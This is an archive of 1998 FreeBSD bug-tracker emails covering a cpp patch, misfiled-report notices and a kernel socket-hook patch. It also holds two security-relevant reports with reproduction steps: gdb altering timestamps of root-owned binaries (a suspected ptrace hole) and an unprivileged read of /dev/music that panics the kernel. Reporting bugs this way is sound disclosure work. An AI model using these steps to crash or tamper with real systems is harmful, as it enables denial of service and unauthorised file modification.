(EST) (envelope-from croyle@gelemna.ft-wayne.in.us) Received: (from croyle@localhost) by emerson.gelemna.ft-wayne.in.us (8.9.1/8.9.1) id OAA02194; Mon, 7 Sep 1998 14:42:23 -0500 (EST) (envelope-from croyle@gelemna.ft-wayne.in.us) Message-Id: <199809071942.OAA02194@emerson.gelemna.ft-wayne.in.us> Date: Mon, 7 Sep 1998 14:42:23 -0500 (EST) From: Don Croyle Reply-To: croyle@gelemna.ft-wayne.in.us To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7855: cpp should define __ELF__ if objformat = elf Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7855 >Category: bin >Synopsis: cpp should define __ELF__ if objformat = elf >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Mon Sep 7 12:50:03 PDT 1998 >Last-Modified: >Originator: Don Croyle >Organization: >Release: FreeBSD 3.0-CURRENT i386 >Environment: A post E-day -current. >Description: Cpp doesn't define __ELF__ when the object format is elf. I don't believe that anything in the core OS uses cpp, but I know at least one port that cares about __ELF__ does (archivers/zip). >How-To-Repeat: On a system where the default object format is elf: touch foo.c cc -E -dM foo.c cpp -dM foo.c Note the __ELF__ is listed in the former but not the latter output. >Fix: Since /usr/bin/cpp is a wrapper script, fixing it seems less intrusive than grafting objformat's functionality into /usr/libexec/cpp. This patch does that: *** usr.bin/cpp/cpp.sh.orig Sat Feb 22 14:54:47 1997 --- usr.bin/cpp/cpp.sh Mon Sep 7 02:32:17 1998 *************** *** 50,55 **** --- 50,60 ---- INCS="-nostdinc" FOUNDFILES=no + if [ `objformat` = "elf" ] + then + ALST="$ALST -D__ELF__" + fi + for A do case $A in >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 14:48:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA13527 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 14:48:17 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA12706; Mon, 7 Sep 1998 14:45:04 -0700 (PDT) (envelope-from steve@FreeBSD.org) From: Steve Price Received: (from steve@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id OAA02822; Mon, 7 Sep 1998 14:45:04 -0700 (PDT) Date: Mon, 7 Sep 1998 14:45:04 -0700 (PDT) Message-Id: <199809072145.OAA02822@freefall.freebsd.org> To: steve@FreeBSD.ORG, gnats-admin@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: pending/7792 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: back patch from -current to -stable Linux emulator Responsible-Changed-From-To: gnats-admin->freebsd-bugs Responsible-Changed-By: steve Responsible-Changed-When: Mon Sep 7 14:43:07 PDT 1998 Responsible-Changed-Why: Misfiled PR. (I still haven't figured out why Avatar.) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 14:57:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA15110 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 14:57:29 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA14903; Mon, 7 Sep 1998 14:56:09 -0700 (PDT) (envelope-from steve@FreeBSD.org) From: Steve Price Received: (from steve@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id OAA03345; Mon, 7 Sep 1998 14:56:09 -0700 (PDT) Date: Mon, 7 Sep 1998 14:56:09 -0700 (PDT) Message-Id: <199809072156.OAA03345@freefall.freebsd.org> To: steve@FreeBSD.ORG, gnats-admin@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: pending/7801 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Cannot install FreeBSD on 486 if one of the mousedriver deselected at installstartup Responsible-Changed-From-To: gnats-admin->freebsd-bugs Responsible-Changed-By: steve Responsible-Changed-When: Mon Sep 7 14:55:28 PDT 1998 Responsible-Changed-Why: Misfiled PR. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 14:59:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA15304 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 14:59:26 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA15046; Mon, 7 Sep 1998 14:57:05 -0700 (PDT) (envelope-from steve@FreeBSD.org) From: Steve Price Received: (from steve@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id OAA03468; Mon, 7 Sep 1998 14:57:05 -0700 (PDT) Date: Mon, 7 Sep 1998 14:57:05 -0700 (PDT) Message-Id: <199809072157.OAA03468@freefall.freebsd.org> To: steve@FreeBSD.ORG, gnats-admin@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: pending/7810 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: popen fails to set close on exec flag Responsible-Changed-From-To: gnats-admin->freebsd-bugs Responsible-Changed-By: steve Responsible-Changed-When: Mon Sep 7 14:56:19 PDT 1998 Responsible-Changed-Why: Misfiled PR. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 15:00:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA15558 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 15:00:39 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA15167; Mon, 7 Sep 1998 14:58:25 -0700 (PDT) (envelope-from steve@FreeBSD.org) From: Steve Price Received: (from steve@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id OAA03647; Mon, 7 Sep 1998 14:58:24 -0700 (PDT) Date: Mon, 7 Sep 1998 14:58:24 -0700 (PDT) Message-Id: <199809072158.OAA03647@freefall.freebsd.org> To: steve@FreeBSD.ORG, gnats-admin@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: pending/7850 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: lt_LT.* locale Responsible-Changed-From-To: gnats-admin->freebsd-bugs Responsible-Changed-By: steve Responsible-Changed-When: Mon Sep 7 14:58:07 PDT 1998 Responsible-Changed-Why: Misfiled PR. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 16:20:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA27174 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 16:20:12 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA27094 for ; Mon, 7 Sep 1998 16:20:01 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id QAA05850; Mon, 7 Sep 1998 16:20:00 -0700 (PDT) Received: from fledge.watson.org (COPLAND.CODA.CS.CMU.EDU [128.2.222.48]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA26956 for ; Mon, 7 Sep 1998 16:19:03 -0700 (PDT) (envelope-from robert@fledge.watson.org) Received: (from robert@localhost) by fledge.watson.org (8.8.8/8.8.8) id TAA11967; Mon, 7 Sep 1998 19:18:52 -0400 (EDT) Message-Id: <199809072318.TAA11967@fledge.watson.org> Date: Mon, 7 Sep 1998 19:18:52 -0400 (EDT) From: robert@fledge.watson.org Reply-To: robert+freebsd@cyrus.watson.org To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/7856: Patches to add lkm hooks to cmsg_data ancillary data processing Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7856 >Category: kern >Synopsis: Patches to add lkm hooks to cmsg_data ancillary data processing >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Mon Sep 7 16:20:00 PDT 1998 >Last-Modified: >Originator: Robert Watson >Organization: >Release: 3.0-CURRENT >Environment: 3.0-CURRENT >Description: This set of patches generalizes the current ancillary data passing code in the uipc_socket.c code. That is, it pulls the distinct SCM_RIGHTS and SCM_CREDS behavior out of a single function into their own calls for processing. It also provides lkm hooks for the three data-passing calls -- unp_internalize (called when SOL_SOCKET is used on a write to the kernel), unp_externalize (called when the user process attempts to read ancillary data with SOL_SOCKET set), and unp_gc (called to garbage collect ancillary data when both ends of the socket close after unp_internalize but before unp_externalize). Now lkm's can hook their own behavior here by calling at_unp_internalize, at_unp_externalize and at_unp_gc. One sample use of this behavior is in the FreeBSD Authentication/Authorization Tokens work (http://www.watson.org/fbsd-hardening/tokens/). With the tokens lkm loaded, additional authentication information is associated with each process in the form of a set of "tokens" that the kernel tracks and maintains. At times, it is desirable for a user process to pass one or more tokens to anothe process via a UNIX domain socket. Because the tokens may represent authorization to perform restricted activities, they may not simply be passed as data, but require the lkm to perform the transfer following an authorization check. The tokens module hooks these calls and defines a new SCM_ value, SCM_TOKENS indicating that a token identifier follows in the cmsg_data (in the same manner as file descriptor indexes are used to pass SCM_RIGHTS). The cleanup and modularization of the code may help in debugging ancillary data passing-related problems that exist in the code already. Additionally, I have removed some assumptions about the size of an mbuf in the internalize function for SCM_CREDS, which while not technically incorrect, could cause problems if the size of the mbuf was changed. The lkm hooks would be useful any time an lkm wants to provide the ability to pass kernel data structures associated with processes between processes. Other possible uses include work with the VM system to allow mappings to be passed via UNIX domain sockets, as well as other applications in security environments (for example, rights associated with sandboxes). An assumption concerning curproc being the relevant proc reading the data still exists in the code (it was there in the original code). This appears to be a fair assumption. >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: >Patches These patches were generated against 3.0-CURRENT in May. However, they appear to apply cleanly (and run correctly) on versions as recent as a few days ago (Sept 4ish). diff -ur sys/kern/uipc_socket.c /usr/tmp/fdtokens/sys/kern/uipc_socket.c --- sys/kern/uipc_socket.c Fri May 15 16:11:30 1998 +++ /usr/tmp/fdtokens/sys/kern/uipc_socket.c Fri Jul 17 23:10:59 1998 @@ -707,9 +707,11 @@ sbfree(&so->so_rcv, m); if (controlp) { if (pr->pr_domain->dom_externalize && - mtod(m, struct cmsghdr *)->cmsg_type == - SCM_RIGHTS) - error = (*pr->pr_domain->dom_externalize)(m); + mtod(m, struct cmsghdr *)->cmsg_level == + SOL_SOCKET) + /* assume curproc is the right proc */ + /* XXXX */ + error = (*pr->pr_domain->dom_externalize)(m, curproc); *controlp = m; so->so_rcv.sb_mb = m->m_next; m->m_next = 0; diff -ur sys/kern/uipc_usrreq.c /usr/tmp/fdtokens/sys/kern/uipc_usrreq.c --- sys/kern/uipc_usrreq.c Fri May 15 16:11:31 1998 +++ /usr/tmp/fdtokens/sys/kern/uipc_usrreq.c Mon Jul 20 23:45:09 1998 @@ -58,6 +58,26 @@ #include struct vm_zone *unp_zone; + +typedef struct unp_internalize_list_element { + struct unp_internalize_list_element *next; + unp_internalize_fn function; +} *uile_p; + +typedef struct unp_externalize_list_element { + struct unp_externalize_list_element *next; + unp_externalize_fn function; +} *uele_p; + +typedef struct unp_gc_list_element { + struct unp_gc_list_element *next; + unp_gc_fn function; +} *ugle_p; + +static uile_p unp_internalize_list = 0; +static uele_p unp_externalize_list = 0; +static ugle_p unp_gc_list = 0; + static unp_gen_t unp_gencnt; static u_int unp_count; @@ -843,17 +863,17 @@ } #endif -int -unp_externalize(rights) - struct mbuf *rights; +static int +unp_externalize_rights(control, p) + struct mbuf *control; + struct proc *p; { - struct proc *p = curproc; /* XXX */ - register int i; - register struct cmsghdr *cm = mtod(rights, struct cmsghdr *); + register struct cmsghdr *cm = mtod(control, struct cmsghdr *); register struct file **rp = (struct file **)(cm + 1); register struct file *fp; + int newfds = (cm->cmsg_len - sizeof(*cm)) / sizeof (int); - int f; + int f, i; /* * if the new FD's will not fit, then we free them all @@ -884,6 +904,57 @@ return (0); } +static int +unp_externalize_creds(control, p) + struct mbuf *control; + struct proc *p; +{ + /* nothing to do here, really */ + printf("%%% unp_externalize_creds(): proc %d\n", p->p_pid); + return(0); + +} + +int +unp_externalize(control, p) + struct mbuf *control; + struct proc *p; +{ + register int i; + register struct cmsghdr *cm = mtod(control, struct cmsghdr *); + uele_p ep; + + if (cm->cmsg_level != SOL_SOCKET) + return (EINVAL); + + switch(cm->cmsg_type) { + /* built-in types */ + case SCM_CREDS: + return (unp_externalize_creds(control, p)); + case SCM_RIGHTS: + return (unp_externalize_rights(control, p)); + default: + } + + /* only get here if not a built-in type */ + + /* + * scan list -- return on first response of non-EINVAL, continue + * on EINVAL until done. Then return EINVAL + */ + + ep = unp_externalize_list; + while (ep) { + i = ((*ep->function)(control, p)); + if (i != EINVAL) return(i); + ep = ep->next; + } + /* was not accepted by any other registered functions + * should we call dispose here? Probably not, as if we don't have + * an externlize handler, we won't have a dispose handler*/ + return (EINVAL); +} + void unp_init(void) { @@ -898,22 +969,13 @@ #define MIN(a,b) (((a)<(b))?(a):(b)) #endif -static int -unp_internalize(control, p) +static int unp_internalize_creds(control, p) struct mbuf *control; struct proc *p; { - struct filedesc *fdp = p->p_fd; register struct cmsghdr *cm = mtod(control, struct cmsghdr *); - register struct file **rp; - register struct file *fp; - register int i, fd; register struct cmsgcred *cmcred; - int oldfds; - - if ((cm->cmsg_type != SCM_RIGHTS && cm->cmsg_type != SCM_CREDS) || - cm->cmsg_level != SOL_SOCKET || cm->cmsg_len != control->m_len) - return (EINVAL); + int i; /* * Fill in credential information. @@ -930,6 +992,19 @@ cmcred->cmcred_groups[i] = p->p_ucred->cr_groups[i]; return(0); } + panic("unp_internalize_creds: control is not SCM_CREDS"); /* what? */ +} + +static int unp_internalize_rights(control, p) + struct mbuf *control; + struct proc *p; +{ + struct filedesc *fdp = p->p_fd; + register struct cmsghdr *cm = mtod(control, struct cmsghdr *); + register struct file **rp; + register struct file *fp; + register int i, fd; + int oldfds; oldfds = (cm->cmsg_len - sizeof (*cm)) / sizeof (int); /* @@ -959,6 +1034,175 @@ return (0); } +static int +unp_internalize(control, p) + struct mbuf *control; + struct proc *p; +{ + register struct cmsghdr *cm = mtod(control, struct cmsghdr *); + uile_p ep; + int i; + + if ((cm->cmsg_level != SOL_SOCKET) || + (cm->cmsg_len != control->m_len)) + return (EINVAL); + + /* + * Assume: SOL_SOCKET is the only level we would get, so decide based + * on type + */ + + switch(cm->cmsg_type) { + /* built-in types */ + case SCM_CREDS: + return (unp_internalize_creds(control, p)); + case SCM_RIGHTS: + return (unp_internalize_rights(control, p)); + default: + } + + /* + * only get here if not a built-in type, look to see if anyone + * else has registered for it + */ + + /* + * scan list -- return on the first response of non-EINVAL -- + * keep going for EINVAL, return on anything else. At the + * end, return EINVAL as should have exited + */ + + ep = unp_internalize_list; + while (ep) { + i = ((*ep->function)(control, p)); + if (i != EINVAL) return(i); + ep = ep->next; + } + /* was not accepted by any other registered functions */ + return(EINVAL); +} + +int +at_unp_internalize(function) + unp_internalize_fn function; +{ + uile_p ep; + + if (rm_at_unp_internalize(function)) + printf("unp_internalize callout entry already present\n"); + ep = malloc(sizeof(*ep), M_TEMP, M_NOWAIT); + if (ep == NULL) + return(ENOMEM); + ep->next = unp_internalize_list; + ep->function = function; + unp_internalize_list = ep; + return(0); +} + +int +rm_at_unp_internalize(function) + unp_internalize_fn function; +{ + uile_p *epp, ep; + int count; + + count = 0; + epp = &unp_internalize_list; + ep = *epp; + while(ep) { + if (ep->function == function) { + *epp = ep->next; + free(ep, M_TEMP); + count++; + } else { + epp = &ep->next; + } + ep = *epp; + } + return (count); +} + +int +at_unp_externalize(function) + unp_externalize_fn function; +{ + uele_p ep; + + if (rm_at_unp_externalize(function)) + printf("unp_externalize callout entry already present\n"); + ep = malloc(sizeof(*ep), M_TEMP, M_NOWAIT); + if (ep == NULL) + return(ENOMEM); + ep->next = unp_externalize_list; + ep->function = function; + unp_externalize_list = ep; + return(0); +} + +int +rm_at_unp_externalize(function) + unp_externalize_fn function; +{ + uele_p *epp, ep; + int count; + + count = 0; + epp = &unp_externalize_list; + ep = *epp; + while(ep) { + if (ep->function == function) { + *epp = ep->next; + free(ep, M_TEMP); + count++; + } else { + epp = &ep->next; + } + ep = *epp; + } + return (count); +} + +int +at_unp_gc(function) + unp_gc_fn function; +{ + ugle_p ep; + + if (rm_at_unp_gc(function)) + printf("unp_gc callout entry already present\n"); + ep = malloc(sizeof(*ep), M_TEMP, M_NOWAIT); + if (ep == NULL) + return(ENOMEM); + ep->next = unp_gc_list; + ep->function = function; + unp_gc_list = ep; + return(0); +} + +int +rm_at_unp_gc(function) + unp_gc_fn function; +{ + ugle_p *epp, ep; + int count; + + count = 0; + epp = &unp_gc_list; + ep = *epp; + while(ep) { + if (ep->function == function) { + *epp = ep->next; + free(ep, M_TEMP); + count++; + } else { + epp = &ep->next; + } + ep = *epp; + } + return (count); +} + + static int unp_defer, unp_gcing; static void @@ -1132,6 +1376,34 @@ } static void +unp_gc_rights(cm, op) + register struct cmsghdr *cm; + void (*op) __P((struct file *)); +{ + register struct file **rp; + register int i; + int qfds; + + if (cm->cmsg_type != SCM_RIGHTS) + panic("unp_gc_rights: non-SCM_RIGHTS cmsg"); + + qfds = (cm->cmsg_len - sizeof *cm) + / sizeof (struct file *); + rp = (struct file **)(cm + 1); + for (i = 0; i < qfds; i++) + (*op)(*rp++); +} + +static void +unp_gc_creds(cm) + register struct cmsghdr *cm; +{ + /* do nothing */ + if (cm->cmsg_type != SCM_CREDS) + panic("unp_gc_creds: non-SCM_CREDS cmsg"); +} + +static void unp_scan(m0, op) register struct mbuf *m0; void (*op) __P((struct file *)); @@ -1141,23 +1413,42 @@ register struct cmsghdr *cm; register int i; int qfds; + ugle_p ep; while (m0) { - for (m = m0; m; m = m->m_next) + for (m = m0; m; m = m->m_next) /* walk buffers of packet */ if (m->m_type == MT_CONTROL && m->m_len >= sizeof(*cm)) { cm = mtod(m, struct cmsghdr *); - if (cm->cmsg_level != SOL_SOCKET || - cm->cmsg_type != SCM_RIGHTS) - continue; - qfds = (cm->cmsg_len - sizeof *cm) - / sizeof (struct file *); - rp = (struct file **)(cm + 1); - for (i = 0; i < qfds; i++) - (*op)(*rp++); - break; /* XXX, but saves time */ + if (cm->cmsg_level == SOL_SOCKET) { + switch(cm->cmsg_type) { + case SCM_CREDS: + unp_gc_creds(cm); + break; /* assume no more SOL_SOCKET */ + case SCM_RIGHTS: + unp_gc_rights(cm, op); + break; /* assume no more SOL_SOCKET */ + default: + } + /* now check callout list for a claimer of + this cmsg_type. Call sequentially until + one returns non-EINVAL. When done, + regardless of whether we succeeded, + break -- should only be one SOL_SOCKET + per mbuf. This was an assumption in the + base 4.4bsdlite code, so do the same here + */ + ep = unp_gc_list; + while (ep) { + i = ((*ep->function)(cm)); + if (i != EINVAL) break; + ep = ep->next; + } + break; /* assume no more SOL_SOCKET */ + } + /* ignore the case of non-SOL_SOCKET */ } - m0 = m0->m_act; + m0 = m0->m_act; /* next packet */ } } diff -ur sys/sys/domain.h /usr/tmp/fdtokens/sys/sys/domain.h --- sys/sys/domain.h Tue Nov 18 01:48:43 1997 +++ /usr/tmp/fdtokens/sys/sys/domain.h Fri Jul 17 16:02:25 1998 @@ -52,7 +52,7 @@ void (*dom_init) /* initialize domain data structures */ __P((void)); int (*dom_externalize) /* externalize access rights */ - __P((struct mbuf *)); + __P((struct mbuf *, struct proc *p)); void (*dom_dispose) /* dispose of internalized rights */ __P((struct mbuf *)); struct protosw *dom_protosw, *dom_protoswNPROTOSW; diff -ur sys/sys/systm.h /usr/tmp/fdtokens/sys/sys/systm.h --- sys/sys/systm.h Thu Jun 25 08:32:21 1998 +++ /usr/tmp/fdtokens/sys/sys/systm.h Mon Jul 20 23:13:30 1998 @@ -270,6 +270,22 @@ int at_shutdown __P((bootlist_fn function, void *arg, int position)); int rm_at_shutdown __P((bootlist_fn function, void *arg)); +/* unp_{ex,in,gc}ternalize* function callouts */ +typedef int (*unp_internalize_fn) __P((void *control, struct proc *p)); +/* void * -> struct mbuf *control */ +typedef int (*unp_externalize_fn) __P((void *control, struct proc *p)); +/* void * -> struct mbuf *control */ +typedef int (*unp_gc_fn) __P((void *control)); +/* void * -> struct cmsghdr *control */ + +int at_unp_internalize __P((unp_internalize_fn function)); +int rm_at_unp_internalize __P((unp_internalize_fn function)); +int at_unp_externalize __P((unp_externalize_fn function)); +int rm_at_unp_externalize __P((unp_externalize_fn function)); +int at_unp_gc __P((unp_gc_fn function)); +int rm_at_unp_gc __P((unp_gc_fn function)); + + /* * Not exactly a callout LIST, but a callout entry. * Allow an external module to define a hardware watchdog tickler. diff -ur sys/sys/un.h /usr/tmp/fdtokens/sys/sys/un.h --- sys/sys/un.h Sun May 17 14:17:59 1998 +++ /usr/tmp/fdtokens/sys/sys/un.h Sun Jul 12 22:35:23 1998 @@ -54,7 +54,7 @@ struct mbuf *nam, struct mbuf *control)); int unp_connect2 __P((struct socket *so, struct socket *so2)); void unp_dispose __P((struct mbuf *m)); -int unp_externalize __P((struct mbuf *rights)); +int unp_externalize __P((struct mbuf *control, struct proc *p)); void unp_init __P((void)); extern struct pr_usrreqs uipc_usrreqs; #else /* !KERNEL */ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 00:10:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA13866 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 00:10:05 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA13816 for ; Tue, 8 Sep 1998 00:10:01 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id AAA17788; Tue, 8 Sep 1998 00:10:00 -0700 (PDT) Received: from andrew1.lnk.telstra.net (andrew1.lnk.telstra.net [139.130.51.121]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA12817 for ; Tue, 8 Sep 1998 00:05:53 -0700 (PDT) (envelope-from cagney@tpgi.com.au) Received: (from cagney@localhost) by andrew1.lnk.telstra.net (8.8.8/8.7.3) id RAA10643; Tue, 8 Sep 1998 17:05:47 +1000 (EST) Message-Id: <199809080705.RAA10643@andrew1.lnk.telstra.net> Date: Tue, 8 Sep 1998 17:05:47 +1000 (EST) From: Andrew Cagney Reply-To: cagney@tpgi.com.au To: FreeBSD-gnats-submit@FreeBSD.ORG, cagney@andrew1.lnk.telstra.net X-Send-Pr-Version: 3.2 Subject: kern/7858: GDB (ptrace?) can touch almost any executable Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7858 >Category: kern >Synopsis: GDB (ptrace?) can touch almost any executable >Confidential: yes >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Sep 8 00:10:00 PDT 1998 >Last-Modified: >Originator: Andrew Cagney >Organization: Un-organized >Release: FreeBSD 2.2.7-RELEASE i386 >Environment: FreeBSD b1.cygnus.com 2.2.7-RELEASE FreeBSD 2.2.7-RELEASE #0: Fri Sep 4 16:47:02 EST 1998 cagney@b1.cygnus.com:/usr/src/sys/compile/B2 i386 Kernel is almost vanila (but that is probably what they all say :-). >Description: GDB can be used to change the modify/creation dates of files the user doesn't own. Suspect PTRACE security hole. >How-To-Repeat: Exibit 1: cagney@b1.cygnus.com$ cat ../devo/gdb/testsuite/gdb.base/reread2.c #include int x; void foo() { x++; printf("This is foo\n"); } int main() { #ifdef usestubs set_debug_traps (); breakpoint (); #endif foo(); return 0; } Compile exibit 1 with: cagney@b1.cygnus.com$ sudo gcc -g -o reread ../devo/gdb/testsuite/gdb.base/reread2.c Password: cagney@b1.cygnus.com$ ls -ldg reread -rwxr-xr-x 1 root wheel 11710 Sep 8 16:46 reread cagney@b1.cygnus.com$ whoami cagney cagney@b1.cygnus.com$ groups wheel network people cagney@b1.cygnus.com$ Check the files date: cagney@b1.cygnus.com$ date ; /bin/ls -lT reread Tue Sep 8 16:54:03 EST 1998 -rwxr-xr-x 1 root wheel 11710 Sep 8 16:52:57 1998 reread Run GDB vis: cagney@b1.cygnus.com$ /usr/bin/gdb ./reread ... GDB 4.16 (i386-unknown-freebsd), Copyright 1996 Free Software Foundation, Inc... (gdb) run Starting program: /home/scratch/freebsd-gdb/./reread This is foo Program exited normally. (gdb) Check the dates again: cagney@b1.cygnus.com$ date ; /bin/ls -lT reread Tue Sep 8 16:55:11 EST 1998 -rwxr-xr-x 1 root wheel 11710 Sep 8 16:52:57 1998 reread Until eventually (~30 seconds?). cagney@b1.cygnus.com$ date ; /bin/ls -lT reread Tue Sep 8 16:55:28 EST 1998 -rwxr-xr-x 1 root wheel 11710 Sep 8 16:55:27 1998 reread shows up.... >Fix: Good question! have fun, Andrew >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 01:10:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA21211 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 01:10:09 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA21128 for ; Tue, 8 Sep 1998 01:10:01 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA19931; Tue, 8 Sep 1998 01:10:00 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA21046; Tue, 8 Sep 1998 01:09:05 -0700 (PDT) (envelope-from nobody) Message-Id: <199809080809.BAA21046@hub.freebsd.org> Date: Tue, 8 Sep 1998 01:09:05 -0700 (PDT) From: M.Indlekofer@fz-juelich.de To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: i386/7859: fatal trap 12 in midi_synth_input Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7859 >Category: i386 >Synopsis: fatal trap 12 in midi_synth_input >Confidential: no >Severity: critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Sep 8 01:10:00 PDT 1998 >Last-Modified: >Originator: Michael Indlekofer >Organization: Forschungszentrum Juelich GmbH >Release: 2.2.7-RELEASE >Environment: FreeBSD deanna.isi.kfa-juelich.de 2.2.7-RELEASE FreeBSD 2.2.7-RELEASE #0: Wed Aug 19:04:43 GMT 1998 root@deanna.isi.kfa-juelich.de:/usr/src/sys/compile/MYKERNEL.1 i386 >Description: * MIDI-keyboard connected to MIDI-In of SB16-Card sb0 at 0x220 irq 5 drq 1 on isa sb0: sbvxi0 at 0x0 drq 5 on isa sbvxi0: sbmidi0 at 0x330 on isa opl0 at 0x388 on isa opl0: * as non-root: "od /dev/music | less" * press any key on keyboard => immediately fatal trap 12 Fatal trap 12: page fault while in kernel mode fault virtual address = 0x8c fault code = supervisor read, page not present instruction pointer = 0x8: 0xf01dd8c5 stack pointer = 0x10:0xf01f6f80 frame pointer = 0x10:0xf01f6f88 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL=0 current process = idle interrupt mask = panic: page fault >How-To-Repeat: you only need to open and read /dev/music and any incoming MIDI-event causes the crash (note that /dev/sequencer works well) >Fix: gdb -k kernel vmcrash.0 shows: page fault appears in i386/isa/sound/midi_synth.c: midi_synth_input line 164 "switch (inc->mstate) {...}" &(inc->mstate) == 0x8c !!! 0x8c == 0x78 (offset &(inc->in_info) to &inc) + 0x14 (offset mstate) therefore &(midi_devs[orig_dev]) must be NULL!! Explanation: the argument dev to midi_synth_input is already an index to midi_devs as can be seen in sb16_midi.c and gus_midi.c where this interrupt handler is called with mydev! 